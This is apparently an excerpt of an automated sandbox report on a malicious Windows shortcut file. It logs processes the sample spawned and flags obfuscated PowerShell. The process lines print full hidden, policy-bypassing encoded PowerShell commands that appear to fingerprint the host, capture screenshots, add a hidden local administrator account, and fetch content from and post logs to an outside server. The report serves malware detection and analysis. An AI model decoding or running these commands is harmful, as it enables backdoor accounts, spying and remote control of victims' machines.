ajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvahiaiaaoacqaaqagad
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
            Source: C:\Windows\Temp\myRdpService.exeProcess created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -nologo -nop -ep bypass -encodedcommand "sqbfafgaiaaoafsavablafgavaauaeuatgbdag8arabpae4azwbdadoaogbvafqarga4ac4arwbfafqauwbuahiaaqbuagcakaaoagkadwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5adeazqbyafeaeabiagoaaabrafoavwbraduawgbtaekaegbpaeqaqqb1afkamga5ahqatab6aeiarqbnaeuauqa9aciakqapackakqauaematwboahqazqbuahqakqapaa==" Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwb1ahkadaaxag4aoabkaguazaa5agyaygazadgamaauagmabwbtac8azgbpagwazqayac8aoqayadaanwa1agqaywa5agqaywa0ageaoqa3aduayqa5adqaoqbjagyanaa0admaoaaxageazaa2agiamgazadkazqbjadeaoaaxadqaoqbiadaazga1adyazqazadyangawadiaywbkadmangbmagyamwbiadkaygazageamqa5adkanqbmaduaoaa2aguamaa1adaanga2adyanabmadgamgbiagiamqa4aguamwa3agmamqbiadaanqbiagmazqbiagmazqa3adkazaa5agmamqa2agmangblagyamgbmadeanqa2agiazgbiadmamwayagmazga4adkanwa1adyazga5agqamwbladgazgbjadgaoaazadmaywbiadeayqa0agmangbhagmazqawadeanqa0adeaywa2adaamabiagianaa2adgazablageanwa4adkazabkadqamwa2aguayqa3adaazaa5agianqa2agmamwbhadcaoqa2aduamqazadgamqbjageayqayadaanwa0adyangaxadkaygbiageangbjagyamga2adiazqayadaanaaxadyaoaa5aciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeqagad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadqakah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvahJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwb1ahkadaaxag4aoabkaguazaa5agyaygazadgamaauagmabwbtac8azgbpagwazqayac8aoqayadaanwa1agqaywa5agqaywa0ageaoqa3aduayqa5adqaoqbjagyanaa0admaoaaxageazaa2agiamgazadkazqbjadeaoaaxadqaoqbiadaazga1adyazqazadyangawadiaywbkadmangbmagyamwbiadkaygazageamqa5adkanqbmaduaoaa2aguamaa1adaanga2adyanabmadgamgbiagiamqa4aguamwa3agmamqbiadaanqbiagmazqbiagmazqa3adkazaa5agmamqa2agmangblagyamgbmadeanqa2agiazgbiadmamwayagmazga4adkanwa1adyazga5agqamwbladgazgbjadgaoaazadmaywbiadeayqa0agmangbhagmazqawadeanqa0adeaywa2adaamabiagianaa2adgazablageanwa4adkazabkadqamwa2aguayqa3adaazaa5agianqa2agmamwbhadcaoqa2aduamqazadgamqbjageayqayadaanwa0adyangaxadkaygbiageangbjagyamga2adiazqayadaanaaxadyaoaa5aciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeqagad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadqakah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvahiaiaaoacqaaqagadJump to behavior
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
            Source: C:\Windows\Temp\svczHost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
            Source: C:\Windows\Temp\myRdpService.exeProcess created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -encodedcommand qqbkagqalqbuahkacablacaalqbbahmacwblag0aygbsahkatgbhag0azqagafmaeqbzahqazqbtac4avwbpag4azabvahcacwauaeyabwbyag0acwa7acaawwbtahkacwb0aguabqauafcaaqbuagqabwb3ahmalgbgag8acgbtahmalgbtagmacgblaguabgbdadoaogbbagwababtagmacgblaguabgbzacaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsaiaaiacqakaakaf8algbcag8adqbuagqacwauafcaaqbkahqaaaapahgajaaoacqaxwauaeiabwb1ag4azabzac4asablagkazwboahqakqaiacaafqagahwaiabpahuadaataeyaaqbsaguaiaataeyaaqbsaguauabhahqaaaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaxabkahaaiga=

            Language, Device and Operating System Detection

            barindex
            Yara detected Obfuscated Powershell
            Source: Yara matchFile source: 4YgQ2xN41W.lnk, type: SAMPLE
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
